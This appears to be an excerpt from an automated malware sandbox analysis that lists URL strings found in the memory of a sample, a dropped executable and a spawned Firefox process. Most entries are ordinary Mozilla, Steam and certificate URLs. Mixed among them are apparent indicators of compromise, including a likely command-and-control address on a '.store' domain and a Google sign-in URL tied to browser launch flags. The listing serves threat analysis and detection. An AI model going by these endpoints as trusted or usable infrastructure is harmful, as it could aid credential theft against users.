Source: file.exe, 00000000.00000003.2212996224.0000000005411000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2828008526.0000014D55711000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2212996224.0000000005411000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2828008526.0000014D55711000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2212996224.0000000005411000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2828008526.0000014D55711000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2212996224.0000000005411000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2828008526.0000014D55711000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2212996224.0000000005411000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2828008526.0000014D55711000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000001A.00000002.2826854859.0000014D55661000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2856302856.0000014D587B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D5214B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2825282252.0000014D552F2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2819191173.0000014D54B56000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 0000001A.00000002.2852887309.0000014D583DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2854529746.0000014D58467000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2845609380.0000014D56A13000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2836217561.0000014D5650B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2826096429.0000014D55479000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001A.00000002.2826854859.0000014D55661000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2845609380.0000014D56A13000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2847223254.0000014D570AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2867485052.0000014D5DA69000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001A.00000002.2829848680.0000014D55AF5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2825282252.0000014D552F2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2862971037.0000014D5D580000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2867485052.0000014D5DA69000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001A.00000002.2831122441.0000014D55E50000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListenerFailed
Source: firefox.exe, 0000001A.00000002.2831122441.0000014D55E50000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListenerThe
Source: firefox.exe, 0000001A.00000002.2801575464.0000014D44D03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/strings
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp String found in binary or memory: http://fb.me/use-check-prop-types
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp String found in binary or memory: http://fb.me/use-check-prop-typesG
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2833963035.0000014D56446000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org
Source: firefox.exe, 0000001A.00000002.2876301503.0000146A35404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2877073959.0000227650200000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2876301503.0000146A3546B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2826096429.0000014D55403000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/
Source: firefox.exe, 0000001A.00000002.2819983745.0000014D54C03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2839377042.0000014D56772000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2856640879.0000014D588D0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2849808862.0000014D574DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2839377042.0000014D5676D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2849808862.0000014D57403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2804563025.0000014D506AF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2696458431.0000014D525DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2856302856.0000014D58703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2804563025.0000014D506E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2821679085.0000014D54E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2862971037.0000014D5D548000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2811313616.0000014D525CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2849058904.0000014D57347000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2839377042.0000014D56767000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2854529746.0000014D58444000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D52120000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2854529746.0000014D584BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2839377042.0000014D56785000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2824604563.0000014D551EA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2700282023.0000014D551A5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: firefox.exe, 0000001A.00000002.2877073959.0000227650200000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/Pv
Source: firefox.exe, 0000001A.00000002.2877073959.0000227650200000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/VM
Source: file.exe, 00000000.00000003.2212996224.0000000005411000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2828008526.0000014D55711000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2212996224.0000000005411000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2828008526.0000014D55711000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5487A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 0000001A.00000002.2854529746.0000014D58444000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D52120000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://r3.i.lencr.org/0.
Source: firefox.exe, 0000001A.00000002.2854529746.0000014D58444000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://r3.i.lencr.org/0W
Source: firefox.exe, 0000001A.00000002.2854529746.0000014D58444000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D52120000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://r3.o.lencr.org0
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp String found in binary or memory: http://stackoverflow.com/questions/30030031)
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001041000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2656145755.00000000011AB000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.00000000011A9000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001041000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2656145755.00000000011AB000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.00000000011A9000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001041000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2656145755.00000000011AB000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.00000000011A9000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5487A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5487A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: firefox.exe, 0000001A.00000002.2850461327.0000014D57578000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/2006/browser/search/
Source: firefox.exe, 0000001A.00000002.2849808862.0000014D57453000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5483E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2825282252.0000014D55205000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2804563025.0000014D506E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D52120000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51324000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51345000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2850461327.0000014D575A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2825282252.0000014D5526E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2807821351.0000014D51600000.00000002.00000001.00040000.0000001D.sdmp, firefox.exe, 0000001A.00000002.2849808862.0000014D57497000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2862971037.0000014D5D5A0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2819191173.0000014D54B56000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000001A.00000002.2849808862.0000014D57453000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul5
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51345000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulStartupPerformance:
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: file.exe, 00000000.00000003.2212996224.0000000005411000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2828008526.0000014D55711000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2862333210.0000014D5D4EA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2212996224.0000000005411000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2828008526.0000014D55711000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2862333210.0000014D5D4EA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 0000001A.00000003.2683064327.0000014D54C00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683904981.0000014D54E31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2812517048.0000014D528A0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2684378399.0000014D54E52000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683434006.0000014D54E0F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: file.exe, 00000000.00000003.2185040238.0000000005406000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2185198560.00000000053EE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001A.00000002.2849058904.0000014D57375000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://account.bellmedia.c
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 0000001A.00000003.2750657821.0000014D5D5B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2862971037.0000014D5D5B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2836217561.0000014D56545000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001A.00000002.2801394210.0000014D44BB9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser-check--disable-popup-blockin
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D548F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2807821351.0000014D51600000.00000002.00000001.00040000.0000001D.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-users/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000001A.00000002.2829538640.0000014D5590C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2828008526.0000014D557C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829848680.0000014D55A45000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://allegro.pl/
Source: firefox.exe, 0000001A.00000002.2809264505.0000014D5214B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2807821351.0000014D51600000.00000002.00000001.00040000.0000001D.sdmp String found in binary or memory: https://amazon.com
Source: firefox.exe, 0000001A.00000002.2826854859.0000014D55605000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://amazon.com/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://api.accounts.firefox.com/v1
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://api.steampowered.com/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000001A.00000002.2856302856.0000014D58703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000001A.00000002.2801575464.0000014D44D11000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8d4
Source: file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp String found in binary or memory: https://basket.mozilla.org/news/subscribe/
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp String found in binary or memory: https://basket.mozilla.org/news/subscribe_sms/
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp String found in binary or memory: https://basket.mozilla.org/subscribe.json
Source: dbec6bb1cf.exe, 0000000B.00000002.2667659341.0000000001195000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.0000000001195000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bathdoomgaz.store:443/apii9
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: file.exe, 00000000.00000003.2214334735.00000000053DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D5214B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2803840467.0000014D505AD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000003.2226516704.00000000053DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D5214B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2803840467.0000014D505AD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: firefox.exe, 0000001A.00000002.2846868069.0000014D56F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 0000001A.00000002.2862971037.0000014D5D535000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 0000001A.00000002.2862971037.0000014D5D535000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 0000001A.00000002.2862971037.0000014D5D535000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 0000001A.00000002.2862971037.0000014D5D535000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/
Source: file.exe, 00000000.00000003.2185040238.0000000005406000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2185198560.00000000053EE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2185040238.0000000005406000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2185198560.00000000053EE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2185040238.0000000005406000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2185198560.00000000053EE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://checkout.steampowered.com/
